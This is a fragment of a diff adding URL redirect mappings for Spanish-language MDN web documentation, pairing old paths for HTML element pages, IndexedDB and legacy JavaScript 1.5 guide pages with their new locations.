+/es/docs/HTML:Elemento:b	/es/docs/Web/HTML/Elemento/b
+/es/docs/HTML:Elemento:base	/es/docs/Web/HTML/Elemento/base
+/es/docs/HTML:Elemento:basefont	/es/docs/Web/HTML/Elemento/basefont
+/es/docs/HTML:Elemento:bdo	/es/docs/Web/HTML/Elemento/bdo
+/es/docs/HTML:Elemento:big	/es/docs/Web/HTML/Elemento/big
+/es/docs/HTML:Elemento:blockquote	/es/docs/Web/HTML/Elemento/blockquote
+/es/docs/HTML:Elemento:body	/es/docs/Web/HTML/Elemento/body
+/es/docs/HTML:Elemento:br	/es/docs/Web/HTML/Elemento/br
+/es/docs/HTML:Elemento:button	/es/docs/Web/HTML/Elemento/button
+/es/docs/HTML:Elemento:caption	/es/docs/Web/HTML/Elemento/caption
+/es/docs/HTML:Elemento:center	/es/docs/Web/HTML/Elemento/center
+/es/docs/HTML:Elemento:cite	/es/docs/Web/HTML/Elemento/cite
+/es/docs/HTML:Elemento:code	/es/docs/Web/HTML/Elemento/code
+/es/docs/HTML:Elemento:col	/es/docs/Web/HTML/Elemento/col
+/es/docs/HTML:Elemento:colgroup	/es/docs/Web/HTML/Elemento/colgroup
+/es/docs/HTML:Elemento:dd	/es/docs/Web/HTML/Elemento/dd
+/es/docs/HTML:Elemento:del	/es/docs/Web/HTML/Elemento/del
+/es/docs/HTML:Elemento:dfn	/es/docs/Web/HTML/Elemento/dfn
+/es/docs/HTML:Elemento:dir	/es/docs/Web/HTML/Elemento/dir
+/es/docs/HTML:Elemento:div	/es/docs/Web/HTML/Elemento/div
+/es/docs/HTML:Elemento:dl	/es/docs/Web/HTML/Elemento/dl
+/es/docs/HTML:Elemento:dt	/es/docs/Web/HTML/Elemento/dt
+/es/docs/HTML:Elemento:em	/es/docs/Web/HTML/Elemento/em
+/es/docs/HTML:Elemento:fieldset	/es/docs/Web/HTML/Elemento/fieldset
+/es/docs/HTML:Elemento:font	/es/docs/Web/HTML/Elemento/font
+/es/docs/HTML:Elemento:frame	/es/docs/Web/HTML/Elemento/frame
+/es/docs/HTML:Elemento:frameset	/es/docs/Web/HTML/Elemento/frameset
+/es/docs/HTML:Elemento:h1	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML:Elemento:h2	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML:Elemento:h3	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML:Elemento:h4	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML:Elemento:h5	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML:Elemento:h6	/es/docs/Web/HTML/Elemento/Elementos_t%C3%ADtulos
+/es/docs/HTML:Elemento:head	/es/docs/Web/HTML/Elemento/head
+/es/docs/HTML:Elemento:hr	/es/docs/Web/HTML/Elemento/hr
+/es/docs/HTML:Elemento:html	/es/docs/Web/HTML/Elemento/html
+/es/docs/HTML:Elemento:i	/es/docs/Web/HTML/Elemento/i
+/es/docs/HTML:Elemento:ins	/es/docs/Web/HTML/Elemento/ins
+/es/docs/HTML:Elemento:kbd	/es/docs/Web/HTML/Elemento/kbd
+/es/docs/HTML:Elemento:label	/es/docs/Web/HTML/Elemento/label
+/es/docs/HTML:Elemento:legend	/es/docs/Web/HTML/Elemento/legend
+/es/docs/HTML:Elemento:li	/es/docs/Web/HTML/Elemento/li
+/es/docs/HTML:Elemento:link	/es/docs/Web/HTML/Elemento/link
+/es/docs/HTML:Elemento:map	/es/docs/Web/HTML/Elemento/map
+/es/docs/HTML:Elemento:menu	/es/docs/Web/HTML/Elemento/menu
+/es/docs/HTML:Elemento:meta	/es/docs/Web/HTML/Elemento/meta
+/es/docs/HTML:Elemento:noframes	/es/docs/Web/HTML/Elemento/noframes
+/es/docs/HTML:Elemento:noscript	/es/docs/Web/HTML/Elemento/noscript
+/es/docs/HTML:Elemento:ol	/es/docs/Web/HTML/Elemento/ol
+/es/docs/HTML:Elemento:p	/es/docs/Web/HTML/Elemento/p
+/es/docs/HTML:Elemento:param	/es/docs/Web/HTML/Elemento/param
+/es/docs/HTML:Elemento:pre	/es/docs/Web/HTML/Elemento/pre
+/es/docs/HTML:Elemento:q	/es/docs/Web/HTML/Elemento/q
+/es/docs/HTML:Elemento:s	/es/docs/Web/HTML/Elemento/s
+/es/docs/HTML:Elemento:samp	/es/docs/Web/HTML/Elemento/samp
+/es/docs/HTML:Elemento:small	/es/docs/Web/HTML/Elemento/small
+/es/docs/HTML:Elemento:span	/es/docs/Web/HTML/Elemento/span
+/es/docs/HTML:Elemento:strike	/es/docs/Web/HTML/Elemento/strike
+/es/docs/HTML:Elemento:strong	/es/docs/Web/HTML/Elemento/strong
+/es/docs/HTML:Elemento:style	/es/docs/Web/HTML/Elemento/style
+/es/docs/HTML:Elemento:sub	/es/docs/Web/HTML/Elemento/sub
+/es/docs/HTML:Elemento:sup	/es/docs/Web/HTML/Elemento/sup
+/es/docs/HTML:Elemento:title	/es/docs/Web/HTML/Elemento/title
+/es/docs/HTML:Elemento:tt	/es/docs/Web/HTML/Elemento/tt
+/es/docs/HTML:Elemento:u	/es/docs/Web/HTML/Elemento/u
+/es/docs/HTML:Elemento:ul	/es/docs/Web/HTML/Elemento/ul
+/es/docs/HTML:Elemento:var	/es/docs/Web/HTML/Elemento/var
+/es/docs/HTML:La_importancia_de_comentar_correctamente	/es/docs/Web/HTML/La_importancia_de_comentar_correctamente
+/es/docs/Herramientas_API	/es/docs/API_del_Toolkit
+/es/docs/Html_Validator_(externo)	https://addons.mozilla.org/firefox/249/
+/es/docs/IndexedDB-840092-dup	/es/docs/Web/API/IndexedDB_API
+/es/docs/IndexedDB-840092-dup/Conceptos_Basicos_Detras_De_IndexedDB	/es/docs/Web/API/IndexedDB_API/Conceptos_Basicos_Detras_De_IndexedDB
+/es/docs/IndexedDB-840092-dup/Usando_IndexedDB	/es/docs/Web/API/IndexedDB_API/Usando_IndexedDB
+/es/docs/Instalar_el_manifest	/es/docs/Manifiesto_de_instalaci%C3%B3n
+/es/docs/Install_Manifests	/es/docs/Manifiesto_de_instalaci%C3%B3n
+/es/docs/Introducci%C3%B3n_a_JavaScript_orientado_a_objetos	/es/docs/Web/JavaScript/Introducci%C3%B3n_a_JavaScript_orientado_a_objetos
+/es/docs/Introducci%C3%B3n_a_XML	/es/docs/Web/XML/Introducci%C3%B3n_a_XML
+/es/docs/Introduction	/es/docs/Mozilla/Developer_guide/Introduction
+/es/docs/Introduction_to_using_XPath_in_JavaScript	/es/docs/Web/JavaScript/Introduction_to_using_XPath_in_JavaScript
+/es/docs/JavaScript	/es/docs/Web/JavaScript
+/es/docs/JavaScript/Acerca_de_JavaScript	/es/docs/Web/JavaScript/Acerca_de_JavaScript
+/es/docs/JavaScript/Guide	/es/docs/Web/JavaScript/Guide
+/es/docs/JavaScript/Guide/AcercaDe	/es/docs/Web/JavaScript/Guide/Introducción
+/es/docs/JavaScript/Guide/Closures	/es/docs/Web/JavaScript/Closures
+/es/docs/JavaScript/Guide/Details_of_the_Object_Model	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/es/docs/JavaScript/Guide/Funciones	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/JavaScript/Guide/Inheritance_Revisited	/es/docs/Web/JavaScript/Inheritance_and_the_prototype_chain
+/es/docs/JavaScript/Guide/JavaScript_Overview	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/JavaScript/Guide/Obsolete_Pages	/es/docs/Web/JavaScript/Guide
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5	/es/docs/Web/JavaScript/Guide
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Acerca_de_esta_gu%C3%ADa	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Concepto_de_JavaScript	/es/docs/Web/JavaScript/Guide/Introducci%C3%B3n
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Constantes	/es/docs/Web/JavaScript/Referencia/Sentencias/const
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Constructores_m%C3%A1s_flexibles	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Constructores_mas_flexibles
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Creando_nuevos_objetos
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Borrando_propiedades	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Eliminando_propiedades
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_las_funciones_get_y_set	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definiendo_getters_y_setters
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_los_m%C3%A9todos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definiendo_los_m.C3.A9todos
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Definiendo_propiedades_para_un_tipo_de_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Definici.C3.B3n_de_las_propiedades_de_un_tipo_de_objeto
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Indexando_las_propiedades_del_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Propiedades_del_objeto_indexado
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Usando_this_para_referirse_al_objeto	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Usando_this_para_las_referencias_a_objetos
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Usando_una_funci%C3%B3n_constructora	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Usando_una_funci.C3.B3n_constructora
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Using_Object_Initializers	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#El_uso_de_inicializadores_de_objeto
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_nuevos_objetos/Utilizando_Objetos_Iniciadores	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#El_uso_de_inicializadores_de_objeto
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Crear_una_expresi%C3%B3n_regular	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Definiendo_Funciones	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Empleado	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Ejemplo.3A_employee
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Ejemplo.3A_employee
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Creando_la_jerarqu%C3%ADa	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creacion_de_la_jerarquia
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Propiedades_de_objetos
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos/A%C3%B1adiendo_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#A.C3.B1adir_propiedades
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/El_ejemplo_Employee/Propiedades_de_objetos/Heredando_las_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Herencia_de_propiedades
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Escribir_un_patr%C3%B3n_de_expresi%C3%B3n_regular	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Excepci%C3%B3n_del_DOM	/es/docs/Web/API/DOMException
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Expresiones	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Expresiones_Regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Expresiones_y_operadores	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_Number_y_String	/es/docs/Web/JavaScript/Guide/Funciones#Number_and_String_functions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_escape_y_unescape	/es/docs/Web/JavaScript/Guide/Funciones#escape_and_unescape_functions(Obsoleted_above_JavaScript_1.5)
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_parseInt_y_parseFloat	/es/docs/Web/JavaScript/Guide/Funciones#parseInt_and_parseFloat_functions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas	/es/docs/Web/JavaScript/Guide/Funciones#Predefined_functions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_eval	/es/docs/Web/JavaScript/Guide/Funciones#eval_Function
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_isFinite	/es/docs/Web/JavaScript/Guide/Funciones#isFinite_function
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Funciones_predefinidas/Funci%C3%B3n_isNaN	/es/docs/Web/JavaScript/Guide/Funciones#isNaN_function
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Lenguajes_basados_en_clases_frente_a_basados_en_prototipos	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Literales	/es/docs/Web/JavaScript/Guide/Grammar_and_types#Literales
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Llamando_Funciones	/es/docs/Web/JavaScript/Guide/Funciones#Llamando_funciones
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Mas_sobre_herencia_de_propiedades
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Determinando_relaciones_de_instancia	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Como_determinar_las_relaciones_entre_instancias
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Herencia_no_m%C3%BAltiple	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#No_existe_herencia_multiple
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Informaci%C3%B3n_global_en_los_constructores	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Informacion_global_en_los_constructores
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/M%C3%A1s_sobre_la_herencia_de_propiedades/Valores_locales_frente_a_los_heredados	/es/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Valores_locales_frente_a_valores_heredados
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos	/es/docs/Web/JavaScript/Referencia
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Array	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Function
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Math	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Math
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_Number	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Number
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_RegExp	/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_base_predefinidos/Objeto_String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Objetos_y_propiedades	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos#Objetos_y_propiedades
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_aritm%C3%A9ticos	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_aritm.C3.A9ticos
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_asignaci%C3%B3n	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_de_asignaci.C3.B3n
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_cadenas_de_caracteres_(string)	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#String_operators
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_de_comparaci%C3%B3n	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_de_comparaci.C3.B3n
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_especiales	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Special_operators
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_l%C3%B3gicos	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_l.C3.B3gicos
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Operadores/Operadores_sobre_bits	/es/docs/Web/JavaScript/Guide/Expressions_and_Operators#Operadores_Bit-a-bit
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Predefined_Functions	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Predefined_Functions/eval_Function	/es/docs/Web/JavaScript/Referencia/Objetos_globales/eval
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencia_condicional	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#Condicionales
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencia_de_bloque	/es/docs/Web/JavaScript/Referencia/Sentencias/block
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_bucle	/es/docs/Web/JavaScript/Guide/Loops_and_iteration
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#Utilizing_Error_objects
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones/throw	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#throw_statement
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manejo_de_excepciones/try...catch	/es/docs/Web/JavaScript/Guide/Control_de_flujo_y_manejo_de_errores#try...catch_statement
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_de_manipulaci%C3%B3n_de_objetos	/es/docs/Web/JavaScript/Guide
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Sentencias_para_comentarios	/es/docs/Web/JavaScript/Guide
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_may%C3%BAsculas_y_min%C3%BAsculas_y_considerar_entrada_multil%C3%ADnea	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_ignorar_mayusculas_minusculas,_y_considerar_entrada_multilinea	/es/docs/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil%C3%ADnea
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejemplos_de_expresiones_regulares	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Trabajar_con_expresiones_regulares/Usar_coincidencias_de_subcadenas_parentizadas	/es/docs/Web/JavaScript/Guide/Regular_Expressions
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Unicode	/en-US/docs/Web/JavaScript/Reference/Lexical_grammar
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Usando_el_objeto_arguments	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Using_the_arguments_object	/es/docs/Web/JavaScript/Guide/Funciones
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Valores	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/JavaScript/Guide/Obsolete_Pages/Gu%C3%ADa_JavaScript_1.5/Variables	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/JavaScript/Guide/Trabajando_con_objectos	/es/docs/Web/JavaScript/Guide/Trabajando_con_objectos
+/es/docs/JavaScript/Guide/Valores,_variables_y_literales	/es/docs/Web/JavaScript/Guide/Grammar_and_types
+/es/docs/JavaScript/Introducci%C3%B3n_a_JavaScript_orientado_a_objetos	/es/docs/Web/JavaScript/Introducci%C3%B3n_a_JavaScript_orientado_a_objetos
+/es/docs/JavaScript/Novedades_en_JavaScript	/es/docs/Web/JavaScript/Novedades_en_JavaScript
+/es/docs/JavaScript/Novedades_en_JavaScript/1.5	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.5
+/es/docs/JavaScript/Novedades_en_JavaScript/1.6	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.6
+/es/docs/JavaScript/Novedades_en_JavaScript/1.7	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.7
+/es/docs/JavaScript/Novedades_en_JavaScript/1.8	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.8
+/es/docs/JavaScript/Novedades_en_JavaScript/1.8.5	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.8.5
+/es/docs/JavaScript/Novedades_en_JavaScript/Novedades_en_JavaScript_1.8.5	/es/docs/Web/JavaScript/Novedades_en_JavaScript/1.8.5
+/es/docs/JavaScript/Primeros_Pasos	/es/docs/Learn/Getting_started_with_the_web/JavaScript_basics
+/es/docs/JavaScript/Reference/Global_Objects/Array/push	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Array/push
+/es/docs/JavaScript/Reference/Global_Objects/RegExp	/es/docs/Web/JavaScript/Referencia/Objetos_globales/RegExp
+/es/docs/JavaScript/Reference/Operators/function	/es/docs/Web/JavaScript/Referencia/Operadores/function
+/es/docs/JavaScript/Reference/Operators/get	/es/docs/Web/JavaScript/Referencia/Funciones/get
+/es/docs/JavaScript/Reference/Operators/in	/es/docs/Web/JavaScript/Referencia/Operadores/in
+/es/docs/JavaScript/Reference/Operators/this	/es/docs/Web/JavaScript/Referencia/Operadores/this
+/es/docs/JavaScript/Referencia	/es/docs/Web/JavaScript/Referencia
+/es/docs/JavaScript/Referencia/Acerca_de	/es/docs/Web/JavaScript/Referencia/Acerca_de
+/es/docs/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas	/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas
+/es/docs/JavaScript/Referencia/Caracter%C3%ADsticas_Despreciadas	/es/docs/Web/JavaScript/Referencia/Caracter%C3%ADsticas_Desaprobadas
+/es/docs/JavaScript/Referencia/Comentarios	/es/docs/Web/JavaScript/Referencia/Comentarios
+/es/docs/JavaScript/Referencia/Comentarios/comentario	/es/docs/temp_comentarios
+/es/docs/JavaScript/Referencia/Funciones	/es/docs/Web/JavaScript/Referencia/Funciones
+/es/docs/JavaScript/Referencia/Funciones/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/JavaScript/Referencia/Funciones/arguments	/es/docs/Web/JavaScript/Referencia/Funciones/arguments
+/es/docs/JavaScript/Referencia/Funciones/arguments/callee	/es/docs/Web/JavaScript/Referencia/Funciones/arguments/callee
+/es/docs/JavaScript/Referencia/Funciones_globales	/es/docs/Web/JavaScript/Referencia/Objetos_globales
+/es/docs/JavaScript/Referencia/Funciones_globales/Boolean	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Boolean
+/es/docs/JavaScript/Referencia/Funciones_globales/Date	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Date
+/es/docs/JavaScript/Referencia/Funciones_globales/Object	/es/docs/Web/JavaScript/Referencia/Objetos_globales/Object
+/es/docs/JavaScript/Referencia/Funciones_globales/String	/es/docs/Web/JavaScript/Referencia/Objetos_globales/String
+/es/docs/JavaScript/Referencia/Funciones_globales/decodeURI	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURI
+/es/docs/JavaScript/Referencia/Funciones_globales/decodeURIComponent	/es/docs/Web/JavaScript/Referencia/Objetos_globales/decodeURIComponent
+/es/docs/JavaScript/Referencia/Funciones_globales/encodeURI	/es/docs/Web/JavaScript/Referencia/Objetos_globales/encodeURI
+/es/docs/JavaScript/Referencia/Funciones_globales/encodeURIComponent	/es/docs/Web/JavaScript/Referencia/Objetos_globales/encodeURIComponent
+/es/docs/JavaScript/Referencia/Funciones_globales/eval	/es/docs/Web/JavaScript/Referencia/Objetos_globales/eval
+/es/docs/JavaScript/Referencia/Funciones_globales/isFinite	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isFinite
+/es/docs/JavaScript/Referencia/Funciones_globales/isNaN	/es/docs/Web/JavaScript/Referencia/Objetos_globales/isNaN
+/es/docs/JavaScript/Referencia/Funciones_globales/parseInt	/es/docs/Web/JavaScript/Referencia/Objetos_globales/parseInt
